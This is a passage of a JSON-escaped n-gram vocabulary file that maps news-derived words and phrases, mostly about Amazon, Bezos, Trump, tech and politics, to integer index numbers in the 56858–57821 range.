\"subsidize hurricane\": 56858,\n  \"rudimentary\": 56859,\n  \"allure\": 56860,\n  \"legitimate ruler\": 56861,\n  \"becker leading\": 56862,\n  \"2000 election\": 56863,\n  \"rural area\": 56864,\n  \"trump defends\": 56865,\n  \"mcdonalds\": 56866,\n  \"given retail\": 56867,\n  \"news united\": 56868,\n  \"tweeted republicans\": 56869,\n  \"worth noting\": 56870,\n  \"regulation especially\": 56871,\n  \"cloud based\": 56872,\n  \"dismissed accused\": 56873,\n  \"miami chief\": 56874,\n  \"owns earlier\": 56875,\n  \"oena\": 56876,\n  \"video american\": 56877,\n  \"yoswein\": 56878,\n  \"fbi deputy\": 56879,\n  \"harry arrives\": 56880,\n  \"contributing opinion\": 56881,\n  \"right martin\": 56882,\n  \"republican chairman\": 56883,\n  \"instead trump\": 56884,\n  \"entirely cheers\": 56885,\n  \"strong talk\": 56886,\n  \"mea culpa\": 56887,\n  \"interview think\": 56888,\n  \"abundantly clear\": 56889,\n  \"pharmacy division\": 56890,\n  \"054 shares\": 56891,\n  \"oxycontin\": 56892,\n  \"history torpedoing\": 56893,\n  \"american west\": 56894,\n  \"cities tohost\": 56895,\n  \"joined dc\": 56896,\n  \"embodies\": 56897,\n  \"regularly antagonized\": 56898,\n  \"amazon shutterfly\": 56899,\n  \"lamented titles\": 56900,\n  \"mysterious\": 56901,\n  \"haslam josh\": 56902,\n  \"heaped praise\": 56903,\n  \"day resulted\": 56904,\n  \"inaudible bartiromo\": 56905,\n  \"adam driver\": 56906,\n  \"stature\": 56907,\n  \"tech highfliers\": 56908,\n  \"tightens\": 56909,\n  \"chanted jeered\": 56910,\n  \"chinos\": 56911,\n  \"pretty 2018\": 56912,\n  \"depicted words\": 56913,\n  \"pundits quickly\": 56914,\n  \"note quoting\": 56915,\n  \"watched steve\": 56916,\n  \"kennedy sent\": 56917,\n  \"story sandusky\": 56918,\n  \"president signing\": 56919,\n  \"atf\": 56920,\n  \"people probably\": 56921,\n  \"amazon rejection\": 56922,\n  \"amazon film\": 56923,\n  \"develop holistic\": 56924,\n  \"rarely discussed\": 56925,\n  \"hostile approach\": 56926,\n  \"computer business\": 56927,\n  \"shares turned\": 56928,\n  \"expanded amazon\": 56929,\n  \"story netapp\": 56930,\n  \"brian schatz\": 56931,\n  \"possible bryan\": 56932,\n  \"thoughtfully\": 56933,\n  \"1977 impeccable\": 56934,\n  \"heartland org\": 56935,\n  \"uber reputation\": 56936,\n  \"retired television\": 56937,\n  \"unconscionable\": 56938,\n  \"disabled\": 56939,\n  \"launch impeachment\": 56940,\n  \"base\": 56941,\n  \"gmbunion4amazon gmbunionamazon\": 56942,\n  \"sold 230\": 56943,\n  \"coverage hosted\": 56944,\n  \"cbs news\": 56945,\n  \"isn responsible\": 56946,\n  \"8m square\": 56947,\n  \"fusion joint\": 56948,\n  \"bribes range\": 56949,\n  \"include lowe\": 56950,\n  \"display video\": 56951,\n  \"purchasing construction\": 56952,\n  \"city funds\": 56953,\n  \"89x compared\": 56954,\n  \"bizjournals\": 56955,\n  \"journalists pundits\": 56956,\n  \"blake bronx\": 56957,\n  \"highest taxes\": 56958,\n  \"infrastructure known\": 56959,\n  \"earlier claim\": 56960,\n  \"cuban\": 56961,\n  \"contrived\": 56962,\n  \"replace libraries\": 56963,\n  \"cost jeff\": 56964,\n  \"peril 2018\": 56965,\n  \"indymac\": 56966,\n  \"web advertising\": 56967,\n  \"beckerman observed\": 56968,\n  \"325m\": 56969,\n  \"labeling genetically\": 56970,\n  \"sexual abuser\": 56971,\n  \"100 ideas\": 56972,\n  \"rally means\": 56973,\n  \"recently slapped\": 56974,\n  \"corp nyse\": 56975,\n  \"drop palantir\": 56976,\n  \"correctly set\": 56977,\n  \"espn\": 56978,\n  \"katie packer\": 56979,\n  \"kelman knows\": 56980,\n  \"spokesman geng\": 56981,\n  \"jpg pubdate\": 56982,\n  \"seconds chicago\": 56983,\n  \"entrepreneurship startups\": 56984,\n  \"regulation amazon\": 56985,\n  \"tribal elder\": 56986,\n  \"documentaries available\": 56987,\n  \"snag rivals\": 56988,\n  \"early afternoon\": 56989,\n  \"know sounding\": 56990,\n  \"crisis judge\": 56991,\n  \"trump feels\": 56992,\n  \"ceo howard\": 56993,\n  \"sotu address\": 56994,\n  \"amazon flows\": 56995,\n  \"immigrant residents\": 56996,\n  \"solutions ant\": 56997,\n  \"david keating\": 56998,\n  \"embarrassing details\": 56999,\n  \"tostring b7a\": 57000,\n  \"business developing\": 57001,\n  \"development president\": 57002,\n  \"volumes fell\": 57003,\n  \"facebook users\": 57004,\n  \"mosque\": 57005,\n  \"grassley republican\": 57006,\n  \"forcibly separated\": 57007,\n  \"autos\": 57008,\n  \"fluidity\": 57009,\n  \"optimistic view\": 57010,\n  \"rename trump\": 57011,\n  \"568 shares\": 57012,\n  \"returns washington\": 57013,\n  \"bashers\": 57014,\n  \"verify employer\": 57015,\n  \"ruthless high\": 57016,\n  \"teens kavanaugh\": 57017,\n  \"spectrum news\": 57018,\n  \"poletti marketwatch\": 57019,\n  \"pakistani gunmen\": 57020,\n  \"paper lobbies\": 57021,\n  \"late evangelist\": 57022,\n  \"secs\": 57023,\n  \"make significant\": 57024,\n  \"amazon counterfeit\": 57025,\n  \"company netflix\": 57026,\n  \"1619 late\": 57027,\n  \"passes 333b\": 57028,\n  \"ghz\": 57029,\n  \"screenshot internet\": 57030,\n  \"trump approving\": 57031,\n  \"rewarded premium\": 57032,\n  \"essentially accused\": 57033,\n  \"official tours\": 57034,\n  \"operations cnn\": 57035,\n  \"popular rejection\": 57036,\n  \"giving tens\": 57037,\n  \"routinely describes\": 57038,\n  \"cheaper black\": 57039,\n  \"100 faces\": 57040,\n  \"second week\": 57041,\n  \"visit colombia\": 57042,\n  \"japanese short\": 57043,\n  \"include channels\": 57044,\n  \"fought battle\": 57045,\n  \"155x90 getty_173218731_200015422000928060_388160\": 57046,\n  \"kimball little\": 57047,\n  \"attuned\": 57048,\n  \"opportunity given\": 57049,\n  \"deadly dam\": 57050,\n  \"assistants moving\": 57051,\n  \"looks just\": 57052,\n  \"walmart model\": 57053,\n  \"developed number\": 57054,\n  \"ruralista\": 57055,\n  \"researcher mike\": 57056,\n  \"clad body\": 57057,\n  \"months laying\": 57058,\n  \"plastic altogether\": 57059,\n  \"harold\": 57060,\n  \"everybody thanks\": 57061,\n  \"451 william\": 57062,\n  \"robert pattinson\": 57063,\n  \"browning\": 57064,\n  \"blasio aides\": 57065,\n  \"destabilizes\": 57066,\n  \"allsquare wealth\": 57067,\n  \"nation clinton\": 57068,\n  \"tim hortons\": 57069,\n  \"pubggad\": 57070,\n  \"organizations latin\": 57071,\n  \"existing relationships\": 57072,\n  \"fringes\": 57073,\n  \"owned telecom\": 57074,\n  \"transgender\": 57075,\n  \"untied health\": 57076,\n  \"family children\": 57077,\n  \"completely gianaris\": 57078,\n  \"surge\": 57079,\n  \"investigation alabama\": 57080,\n  \"weibo customer\": 57081,\n  \"lobbyist donald\": 57082,\n  \"criteria nextgov\": 57083,\n  \"sasquatch\": 57084,\n  \"flake\": 57085,\n  \"7mx6tc32za\": 57086,\n  \"including existing\": 57087,\n  \"reduced presence\": 57088,\n  \"underside\": 57089,\n  \"bezos brother\": 57090,\n  \"hour sanders\": 57091,\n  \"accelerated depreciation\": 57092,\n  \"potential allies\": 57093,\n  \"spokesperson insists\": 57094,\n  \"o2x w8\": 57095,\n  \"pharis romero\": 57096,\n  \"regular\": 57097,\n  \"methodology doesn\": 57098,\n  \"kmgt\": 57099,\n  \"abbate associate\": 57100,\n  \"censorship explains\": 57101,\n  \"partners access\": 57102,\n  \"nation hosts\": 57103,\n  \"evolution\": 57104,\n  \"producing razor\": 57105,\n  \"hills max\": 57106,\n  \"historic summit\": 57107,\n  \"rush similar\": 57108,\n  \"streaming media\": 57109,\n  \"dr sindhuja\": 57110,\n  \"comments amazon\": 57111,\n  \"bestseller promise\": 57112,\n  \"spent nearly\": 57113,\n  \"imprisoned\": 57114,\n  \"ix\": 57115,\n  \"counterfeits ubiquitous\": 57116,\n  \"flavors mystery\": 57117,\n  \"court deciding\": 57118,\n  \"cosecha\": 57119,\n  \"delivered\": 57120,\n  \"job offer\": 57121,\n  \"vast trump\": 57122,\n  \"rohrabacher\": 57123,\n  \"audible members\": 57124,\n  \"assignments\": 57125,\n  \"505\": 57126,\n  \"cell thanks\": 57127,\n  \"twitter relating\": 57128,\n  \"blitz\": 57129,\n  \"published statement\": 57130,\n  \"appropriately address\": 57131,\n  \"boost elimination\": 57132,\n  \"don\": 57133,\n  \"petco natural\": 57134,\n  \"mchugh appears\": 57135,\n  \"trump demanded\": 57136,\n  \"image 600x400\": 57137,\n  \"tsa employees\": 57138,\n  \"king large\": 57139,\n  \"isn feeling\": 57140,\n  \"dictator thing\": 57141,\n  \"crop\": 57142,\n  \"partisan divide\": 57143,\n  \"mystery jeff\": 57144,\n  \"representing new\": 57145,\n  \"daringthe justice\": 57146,\n  \"pubg\\u30e2\\u30d0\\u30a4\\u30eb\": 57147,\n  \"form think\": 57148,\n  \"years right\": 57149,\n  \"heuvel david\": 57150,\n  \"sons embarked\": 57151,\n  \"disappoint 2018\": 57152,\n  \"remediation\": 57153,\n  \"citing declines\": 57154,\n  \"foundation wrote\": 57155,\n  \"prepared\": 57156,\n  \"year prominent\": 57157,\n  \"whitestone oakland\": 57158,\n  \"cascade recycling\": 57159,\n  \"jillette\": 57160,\n  \"framewidth\": 57161,\n  \"tahir struck\": 57162,\n  \"aswould\": 57163,\n  \"sadly summarizes\": 57164,\n  \"happened bezos\": 57165,\n  \"15612 tilefeatureimage\": 57166,\n  \"articles california\": 57167,\n  \"employees 2018\": 57168,\n  \"technology space\": 57169,\n  \"military exercises\": 57170,\n  \"midtown tunnel\": 57171,\n  \"information visit\": 57172,\n  \"toasting netteknows\": 57173,\n  \"linda\": 57174,\n  \"scale breaches\": 57175,\n  \"enterprise thomson\": 57176,\n  \"twitter accounts\": 57177,\n  \"zack guzman\": 57178,\n  \"vaccines norwegian\": 57179,\n  \"lighter packages\": 57180,\n  \"stunning undisclosed\": 57181,\n  \"ago home\": 57182,\n  \"walker president\": 57183,\n  \"noise especially\": 57184,\n  \"child sleeps\": 57185,\n  \"history professor\": 57186,\n  \"rex features\": 57187,\n  \"greater boston\": 57188,\n  \"firm\": 57189,\n  \"adventurer\": 57190,\n  \"favorite tv\": 57191,\n  \"tech conglomerate\": 57192,\n  \"channel spy\": 57193,\n  \"poverty reduction\": 57194,\n  \"q4 2019\": 57195,\n  \"stories going\": 57196,\n  \"questioning read\": 57197,\n  \"ratings according\": 57198,\n  \"gathering darkness\": 57199,\n  \"time talent\": 57200,\n  \"begin uploading\": 57201,\n  \"magical tools\": 57202,\n  \"temptation\": 57203,\n  \"nfl\": 57204,\n  \"charitytuesday\": 57205,\n  \"called park\": 57206,\n  \"island jails\": 57207,\n  \"carell played\": 57208,\n  \"roku trade\": 57209,\n  \"impair freedom\": 57210,\n  \"winning hbo\": 57211,\n  \"forecast citing\": 57212,\n  \"paul davis\": 57213,\n  \"ends landmark\": 57214,\n  \"shipping ship\": 57215,\n  \"extra games\": 57216,\n  \"congested\": 57217,\n  \"political chaos\": 57218,\n  \"future justice\": 57219,\n  \"stories focusing\": 57220,\n  \"shirt poynter\": 57221,\n  \"2018 magnolia\": 57222,\n  \"pay record\": 57223,\n  \"boys giving\": 57224,\n  \"105 16m\": 57225,\n  \"data gathering\": 57226,\n  \"tech calendar\": 57227,\n  \"partially motivated\": 57228,\n  \"commission 147\": 57229,\n  \"orchestration\": 57230,\n  \"boost manufacturing\": 57231,\n  \"marketplace weinberger\": 57232,\n  \"promising free\": 57233,\n  \"janofsky rep\": 57234,\n  \"switzerland\": 57235,\n  \"major presence\": 57236,\n  \"whitestone\": 57237,\n  \"hacking scandal\": 57238,\n  \"whyyyyyyyy\": 57239,\n  \"technology used\": 57240,\n  \"patriot prayer\": 57241,\n  \"ministry spokesman\": 57242,\n  \"cars construction\": 57243,\n  \"potential extent\": 57244,\n  \"night reviewing\": 57245,\n  \"klion\": 57246,\n  \"shipments\": 57247,\n  \"inanimate\": 57248,\n  \"donations karen\": 57249,\n  \"targets stories\": 57250,\n  \"outlet approached\": 57251,\n  \"upgrade rollout\": 57252,\n  \"economy instead\": 57253,\n  \"fisher winston\": 57254,\n  \"biggest city\": 57255,\n  \"rates higher\": 57256,\n  \"sharp witted\": 57257,\n  \"agribusiness interests\": 57258,\n  \"payments ami\": 57259,\n  \"numerous\": 57260,\n  \"accessible proof\": 57261,\n  \"asked bunch\": 57262,\n  \"mainstream news\": 57263,\n  \"verus incorporated\": 57264,\n  \"oxide abuse\": 57265,\n  \"warren singer\": 57266,\n  \"europe china\": 57267,\n  \"adulterous affair\": 57268,\n  \"owns blue\": 57269,\n  \"glass blunt\": 57270,\n  \"retooled\": 57271,\n  \"times donald\": 57272,\n  \"ads dentsu\": 57273,\n  \"growth strong\": 57274,\n  \"country trump\": 57275,\n  \"involving thousands\": 57276,\n  \"bowie life\": 57277,\n  \"coming period\": 57278,\n  \"107 million\": 57279,\n  \"elaborate democrats\": 57280,\n  \"anonymous statement\": 57281,\n  \"cortez hit\": 57282,\n  \"global brand\": 57283,\n  \"fri\": 57284,\n  \"joseph analysts\": 57285,\n  \"fellow americans\": 57286,\n  \"fi series\": 57287,\n  \"bezos picture\": 57288,\n  \"marc\": 57289,\n  \"uk sales\": 57290,\n  \"cohn\": 57291,\n  \"spot luckily\": 57292,\n  \"specific telemedicine\": 57293,\n  \"inventory sold\": 57294,\n  \"place names\": 57295,\n  \"goods tycoon\": 57296,\n  \"proposes updating\": 57297,\n  \"facebook claims\": 57298,\n  \"newstageng gmail\": 57299,\n  \"tax policies\": 57300,\n  \"biggest price\": 57301,\n  \"trademark house\": 57302,\n  \"order hope\": 57303,\n  \"paper presenting\": 57304,\n  \"release new\": 57305,\n  \"held 500\": 57306,\n  \"clearing\": 57307,\n  \"ming\": 57308,\n  \"tidy city\": 57309,\n  \"gigantic mess\": 57310,\n  \"week revealing\": 57311,\n  \"writer akutagawa\": 57312,\n  \"manson murderous\": 57313,\n  \"ontario canada\": 57314,\n  \"newspapers wanted\": 57315,\n  \"stifling competition\": 57316,\n  \"fitted nicely\": 57317,\n  \"verus\": 57318,\n  \"rambling\": 57319,\n  \"director ana\": 57320,\n  \"krispy\": 57321,\n  \"called package\": 57322,\n  \"retaliation amazon\": 57323,\n  \"pentagon opened\": 57324,\n  \"heavy goods\": 57325,\n  \"public prefer\": 57326,\n  \"related materials\": 57327,\n  \"ubhi work\": 57328,\n  \"shirts weren\": 57329,\n  \"ran successfully\": 57330,\n  \"learned growing\": 57331,\n  \"fukoku mutual\": 57332,\n  \"wall pandering\": 57333,\n  \"governor caved\": 57334,\n  \"texting\": 57335,\n  \"owners protect\": 57336,\n  \"steady rise\": 57337,\n  \"citi mark\": 57338,\n  \"citizen finally\": 57339,\n  \"scandal shares\": 57340,\n  \"1900s western\": 57341,\n  \"amzn bounced\": 57342,\n  \"000 jason\": 57343,\n  \"usps employees\": 57344,\n  \"testimony trump\": 57345,\n  \"camp epidemic\": 57346,\n  \"finland\": 57347,\n  \"authority creating\": 57348,\n  \"worldwide avoidance\": 57349,\n  \"campaign learning\": 57350,\n  \"prohibits government\": 57351,\n  \"executives encouraged\": 57352,\n  \"human outpost\": 57353,\n  \"usds\": 57354,\n  \"seattle told\": 57355,\n  \"lyon\": 57356,\n  \"schwabs\": 57357,\n  \"social data\": 57358,\n  \"energy handouts\": 57359,\n  \"different delivery\": 57360,\n  \"china makes\": 57361,\n  \"selection comprising\": 57362,\n  \"better bent\": 57363,\n  \"using pricing\": 57364,\n  \"stream logistics\": 57365,\n  \"nov amazon\": 57366,\n  \"german automakers\": 57367,\n  \"ivy ross\": 57368,\n  \"american oversight\": 57369,\n  \"warned investors\": 57370,\n  \"frequently criticized\": 57371,\n  \"mellon school\": 57372,\n  \"phd\": 57373,\n  \"gay men\": 57374,\n  \"orcl discriminated\": 57375,\n  \"important entities\": 57376,\n  \"cnn adsection\": 57377,\n  \"acclaimed\": 57378,\n  \"sent\": 57379,\n  \"web platforms\": 57380,\n  \"nash amazon\": 57381,\n  \"fault\": 57382,\n  \"broad channel\": 57383,\n  \"scooter leaving\": 57384,\n  \"book supporter\": 57385,\n  \"bourne jack\": 57386,\n  \"violation\": 57387,\n  \"liquidation\": 57388,\n  \"nyc pushed\": 57389,\n  \"growth uptake\": 57390,\n  \"better protect\": 57391,\n  \"having major\": 57392,\n  \"art african\": 57393,\n  \"infraction\": 57394,\n  \"district includes\": 57395,\n  \"2020 democrat\": 57396,\n  \"read companies\": 57397,\n  \"ground control\": 57398,\n  \"decision looms\": 57399,\n  \"included trillion\": 57400,\n  \"local political\": 57401,\n  \"causing 1p\": 57402,\n  \"sleep great\": 57403,\n  \"donor alan\": 57404,\n  \"monopoly hudgins\": 57405,\n  \"sourced critical\": 57406,\n  \"camps safer\": 57407,\n  \"purchase tags\": 57408,\n  \"flips\": 57409,\n  \"latest china\": 57410,\n  \"plan congress\": 57411,\n  \"hill recently\": 57412,\n  \"suntimes\": 57413,\n  \"mining sectors\": 57414,\n  \"initially blocked\": 57415,\n  \"lori gottlieb\": 57416,\n  \"amazon maria\": 57417,\n  \"soy\": 57418,\n  \"mangement\": 57419,\n  \"market synergy\": 57420,\n  \"cyanide\": 57421,\n  \"learning superiority\": 57422,\n  \"business country\": 57423,\n  \"becker threw\": 57424,\n  \"advantage given\": 57425,\n  \"gained access\": 57426,\n  \"room saying\": 57427,\n  \"trumpzilla price\": 57428,\n  \"getty_173218731_200015422000928060\": 57429,\n  \"agreement talks\": 57430,\n  \"started blaming\": 57431,\n  \"president threats\": 57432,\n  \"jeopardy draws\": 57433,\n  \"ronna romney\": 57434,\n  \"prioritise\": 57435,\n  \"newsworthy subject\": 57436,\n  \"person needs\": 57437,\n  \"ibm\": 57438,\n  \"exception snl\": 57439,\n  \"tax giveaway\": 57440,\n  \"subway action\": 57441,\n  \"purposely seeking\": 57442,\n  \"aides supportive\": 57443,\n  \"published paper\": 57444,\n  \"violent organizations\": 57445,\n  \"c4\": 57446,\n  \"amazon run\": 57447,\n  \"workers resource\": 57448,\n  \"covert agreement\": 57449,\n  \"playbook perfected\": 57450,\n  \"amazon qualifications\": 57451,\n  \"asked brits\": 57452,\n  \"controversial outfits\": 57453,\n  \"florida nfl\": 57454,\n  \"herman strongly\": 57455,\n  \"job losses\": 57456,\n  \"old myrtle\": 57457,\n  \"term political\": 57458,\n  \"nasdaq stmp\": 57459,\n  \"hammond spokesman\": 57460,\n  \"sapiens agenda\": 57461,\n  \"solution free\": 57462,\n  \"faced words\": 57463,\n  \"things declining\": 57464,\n  \"restrict human\": 57465,\n  \"constrain speech\": 57466,\n  \"liability company\": 57467,\n  \"bring luxury\": 57468,\n  \"starboard value\": 57469,\n  \"jester\": 57470,\n  \"cardigan sweaters\": 57471,\n  \"major communications\": 57472,\n  \"jeff landers\": 57473,\n  \"paradise calif\": 57474,\n  \"great silicon\": 57475,\n  \"layery movementx\": 57476,\n  \"fcc decision\": 57477,\n  \"spending decisions\": 57478,\n  \"girard partners\": 57479,\n  \"absent deep\": 57480,\n  \"wattage profile\": 57481,\n  \"target joe\": 57482,\n  \"supporting trump\": 57483,\n  \"interview georgia\": 57484,\n  \"deficit scold\": 57485,\n  \"run adoption\": 57486,\n  \"reads curated\": 57487,\n  \"icon wme\": 57488,\n  \"nearly 050\": 57489,\n  \"thing called\": 57490,\n  \"youtube premium\": 57491,\n  \"pledges\": 57492,\n  \"francisco bay\": 57493,\n  \"spoken anxious\": 57494,\n  \"as\\u0430first children\": 57495,\n  \"time tracking\": 57496,\n  \"symbiotically\": 57497,\n  \"notoriety\": 57498,\n  \"campus save\": 57499,\n  \"proposal rates\": 57500,\n  \"greatest director\": 57501,\n  \"amzn sand\": 57502,\n  \"bedposts\": 57503,\n  \"bush rubio\": 57504,\n  \"illegal migrants\": 57505,\n  \"squared irresistibly\": 57506,\n  \"nasdaq stock\": 57507,\n  \"metropolis area\": 57508,\n  \"ocd\": 57509,\n  \"basis berenberg\": 57510,\n  \"launch qanon\": 57511,\n  \"haidar\": 57512,\n  \"dumping new\": 57513,\n  \"home flippers\": 57514,\n  \"shone spotlight\": 57515,\n  \"international shipments\": 57516,\n  \"thestar\": 57517,\n  \"cnn injector\": 57518,\n  \"slavery reparations\": 57519,\n  \"base model\": 57520,\n  \"undocumented\": 57521,\n  \"larger yahoo\": 57522,\n  \"good news\": 57523,\n  \"football legend\": 57524,\n  \"obtained michael\": 57525,\n  \"thespian audacity\": 57526,\n  \"teamsters joined\": 57527,\n  \"taxes america\": 57528,\n  \"hengehold\": 57529,\n  \"media powerhouse\": 57530,\n  \"resorted\": 57531,\n  \"congressional shills\": 57532,\n  \"disrupt amazon\": 57533,\n  \"vb wb\": 57534,\n  \"abominably\": 57535,\n  \"party did\": 57536,\n  \"kashmir hill\": 57537,\n  \"castle accused\": 57538,\n  \"released pro\": 57539,\n  \"2020 olympics\": 57540,\n  \"twofold\": 57541,\n  \"floods\": 57542,\n  \"abusive practices\": 57543,\n  \"probably welcome\": 57544,\n  \"tv star\": 57545,\n  \"flipboard follow\": 57546,\n  \"2019 mark\": 57547,\n  \"138 000\": 57548,\n  \"operates home\": 57549,\n  \"analyst christopher\": 57550,\n  \"vendors deepening\": 57551,\n  \"overtime hours\": 57552,\n  \"delaying\": 57553,\n  \"vino\": 57554,\n  \"allegedly personally\": 57555,\n  \"attack media\": 57556,\n  \"hugely inadequate\": 57557,\n  \"making progress\": 57558,\n  \"weekend weddings\": 57559,\n  \"upright masculinity\": 57560,\n  \"jcp\": 57561,\n  \"willis\": 57562,\n  \"hurt tags\": 57563,\n  \"vigorously\": 57564,\n  \"mocks indian\": 57565,\n  \"twitter criticized\": 57566,\n  \"national archives\": 57567,\n  \"imazon told\": 57568,\n  \"says brides\": 57569,\n  \"right bartiromo\": 57570,\n  \"devastated\": 57571,\n  \"popular southern\": 57572,\n  \"key european\": 57573,\n  \"brithume\": 57574,\n  \"amazon tactic\": 57575,\n  \"companies expressing\": 57576,\n  \"lennihan glen\": 57577,\n  \"andrew maylor\": 57578,\n  \"microsoft website\": 57579,\n  \"confidential counseling\": 57580,\n  \"jimmy mcgill\": 57581,\n  \"branson elon\": 57582,\n  \"new target\": 57583,\n  \"hottest tech\": 57584,\n  \"ward elections\": 57585,\n  \"cybersecurity research\": 57586,\n  \"geetha ranganathan\": 57587,\n  \"unflattering trump\": 57588,\n  \"conflating\": 57589,\n  \"hbo adaptation\": 57590,\n  \"building ice\": 57591,\n  \"insight violence\": 57592,\n  \"excellent investment\": 57593,\n  \"amazonbasics arabella\": 57594,\n  \"package goods\": 57595,\n  \"wrong bezos\": 57596,\n  \"free delivery\": 57597,\n  \"old novelist\": 57598,\n  \"season sales\": 57599,\n  \"small player\": 57600,\n  \"minutes visiting\": 57601,\n  \"new kinds\": 57602,\n  \"sexual snaps\": 57603,\n  \"eco mindfulness\": 57604,\n  \"responsibly today\": 57605,\n  \"help remains\": 57606,\n  \"proposed 117\": 57607,\n  \"items desired\": 57608,\n  \"ideaof\": 57609,\n  \"commerce players\": 57610,\n  \"musk emotional\": 57611,\n  \"division problems\": 57612,\n  \"walmart signed\": 57613,\n  \"drowned\": 57614,\n  \"new structure\": 57615,\n  \"rapid innovation\": 57616,\n  \"opponents inside\": 57617,\n  \"dump\": 57618,\n  \"scandal president\": 57619,\n  \"apple sued\": 57620,\n  \"workers thousands\": 57621,\n  \"statement asserting\": 57622,\n  \"delay wall\": 57623,\n  \"thumb small\": 57624,\n  \"senate want\": 57625,\n  \"corporate rate\": 57626,\n  \"significantly suppressed\": 57627,\n  \"dhl\": 57628,\n  \"lynch washington\": 57629,\n  \"list wolff\": 57630,\n  \"cnbc press\": 57631,\n  \"saudi tabloid\": 57632,\n  \"taxes apple\": 57633,\n  \"small entrepreneurs\": 57634,\n  \"drop feel\": 57635,\n  \"fresh crop\": 57636,\n  \"volume ju\": 57637,\n  \"dwarfs\": 57638,\n  \"liz benjamin\": 57639,\n  \"expansion program\": 57640,\n  \"401\": 57641,\n  \"care physicians\": 57642,\n  \"epa business\": 57643,\n  \"aftershock\": 57644,\n  \"reason true\": 57645,\n  \"hour pressure\": 57646,\n  \"assert\": 57647,\n  \"right chicago\": 57648,\n  \"ny post\": 57649,\n  \"abbey\": 57650,\n  \"regulatory issues\": 57651,\n  \"amazons motto\": 57652,\n  \"know joshua\": 57653,\n  \"lebanese\": 57654,\n  \"quarter case\": 57655,\n  \"colleagues estimated\": 57656,\n  \"alexis goldstein\": 57657,\n  \"childhoods\": 57658,\n  \"story chinese\": 57659,\n  \"cardboard velvet\": 57660,\n  \"drastically reduced\": 57661,\n  \"bid rigging\": 57662,\n  \"netflix stock\": 57663,\n  \"share adding\": 57664,\n  \"outlet breitbart\": 57665,\n  \"including regulations\": 57666,\n  \"persistence\": 57667,\n  \"email server\": 57668,\n  \"allegiance coinciding\": 57669,\n  \"zeldin\": 57670,\n  \"paying handsome\": 57671,\n  \"conglomerate expects\": 57672,\n  \"commerce forward\": 57673,\n  \"biographer ron\": 57674,\n  \"person\": 57675,\n  \"amazon brief\": 57676,\n  \"following lawsuit\": 57677,\n  \"patrick chief\": 57678,\n  \"cattle ranchers\": 57679,\n  \"florida senate\": 57680,\n  \"contractsanalysts\": 57681,\n  \"study included\": 57682,\n  \"abu dhabi\": 57683,\n  \"market correction\": 57684,\n  \"ing wen\": 57685,\n  \"inc_flag_for_reviewflag\": 57686,\n  \"attention authorities\": 57687,\n  \"sortorder null\": 57688,\n  \"important message\": 57689,\n  \"american read\": 57690,\n  \"beverage minimum\": 57691,\n  \"helped stabilize\": 57692,\n  \"second trimester\": 57693,\n  \"building rent\": 57694,\n  \"bezos pending\": 57695,\n  \"herald\": 57696,\n  \"popular books\": 57697,\n  \"public confidence\": 57698,\n  \"world leadership\": 57699,\n  \"pollock\": 57700,\n  \"analysis hundreds\": 57701,\n  \"month regret\": 57702,\n  \"flexispot\": 57703,\n  \"400 soldiers\": 57704,\n  \"parachuted\": 57705,\n  \"empy\": 57706,\n  \"anecdote du\": 57707,\n  \"100 guests\": 57708,\n  \"decades issuing\": 57709,\n  \"doritos\": 57710,\n  \"lawn drew\": 57711,\n  \"house means\": 57712,\n  \"electric scooter\": 57713,\n  \"sales rocket\": 57714,\n  \"goods seized\": 57715,\n  \"subscribe\": 57716,\n  \"bit ly\": 57717,\n  \"nepalese\": 57718,\n  \"wrote love\": 57719,\n  \"garissa county\": 57720,\n  \"services aws\": 57721,\n  \"offering print\": 57722,\n  \"pursley political\": 57723,\n  \"prattplus\": 57724,\n  \"boosts regardless\": 57725,\n  \"producer brian\": 57726,\n  \"initiative role\": 57727,\n  \"particular outcomes\": 57728,\n  \"hired 120\": 57729,\n  \"bourdain brash\": 57730,\n  \"surveilled\": 57731,\n  \"disney versus\": 57732,\n  \"moc\": 57733,\n  \"category called\": 57734,\n  \"trade notes\": 57735,\n  \"robert shapiro\": 57736,\n  \"igp senate\": 57737,\n  \"hagen\": 57738,\n  \"tennessee wants\": 57739,\n  \"says muir\": 57740,\n  \"navy seals\": 57741,\n  \"security director\": 57742,\n  \"calif unveiled\": 57743,\n  \"letter says\": 57744,\n  \"amazon appetite\": 57745,\n  \"extortion plot\": 57746,\n  \"support mccarthy\": 57747,\n  \"mean reversion\": 57748,\n  \"displaced nearly\": 57749,\n  \"additional copies\": 57750,\n  \"personal smartphone\": 57751,\n  \"legislation threatens\": 57752,\n  \"tank\": 57753,\n  \"care initiative\": 57754,\n  \"dire projections\": 57755,\n  \"sentence statement\": 57756,\n  \"healthcare payment\": 57757,\n  \"multiple verticals\": 57758,\n  \"advised american\": 57759,\n  \"strategy credit\": 57760,\n  \"s3\": 57761,\n  \"americans lives\": 57762,\n  \"reasonable people\": 57763,\n  \"oomph\": 57764,\n  \"bezos considered\": 57765,\n  \"card details\": 57766,\n  \"aut_atyid aut_newsletter_location\": 57767,\n  \"don act\": 57768,\n  \"reservation\": 57769,\n  \"says despite\": 57770,\n  \"constitution schiff\": 57771,\n  \"gives amazon\": 57772,\n  \"high levels\": 57773,\n  \"buried alive\": 57774,\n  \"brazilian environment\": 57775,\n  \"participate\": 57776,\n  \"maitland\": 57777,\n  \"hdr words\": 57778,\n  \"treat embedded\": 57779,\n  \"sportswriter\": 57780,\n  \"just paintingturmoil\": 57781,\n  \"bezos foe\": 57782,\n  \"aligned\": 57783,\n  \"local taxpayer\": 57784,\n  \"people close\": 57785,\n  \"formally accused\": 57786,\n  \"fed manufacturing\": 57787,\n  \"package appears\": 57788,\n  \"east doomed\": 57789,\n  \"accountability examining\": 57790,\n  \"manager shares\": 57791,\n  \"online platforms\": 57792,\n  \"different function\": 57793,\n  \"wireless carriers\": 57794,\n  \"ignite seattle\": 57795,\n  \"know nasdaq\": 57796,\n  \"saturation\": 57797,\n  \"severe punishment\": 57798,\n  \"msnbc executives\": 57799,\n  \"hat\": 57800,\n  \"bought online\": 57801,\n  \"repeating amazon\": 57802,\n  \"onetime site\": 57803,\n  \"airlines\": 57804,\n  \"mini fridge\": 57805,\n  \"industries association\": 57806,\n  \"luxury condos\": 57807,\n  \"chevron chairman\": 57808,\n  \"tapped losses\": 57809,\n  \"continuous conversations\": 57810,\n  \"total orders\": 57811,\n  \"personal vendettas\": 57812,\n  \"jane hamlin\": 57813,\n  \"courses related\": 57814,\n  \"amassed unparalleled\": 57815,\n  \"accessories build\": 57816,\n  \"volume decreased\": 57817,\n  \"america pay\": 57818,\n  \"564 000\": 57819,\n  \"growing demand\": 57820,\n  \"danny zuker\": 57821,\n  \"publicly adamant\": 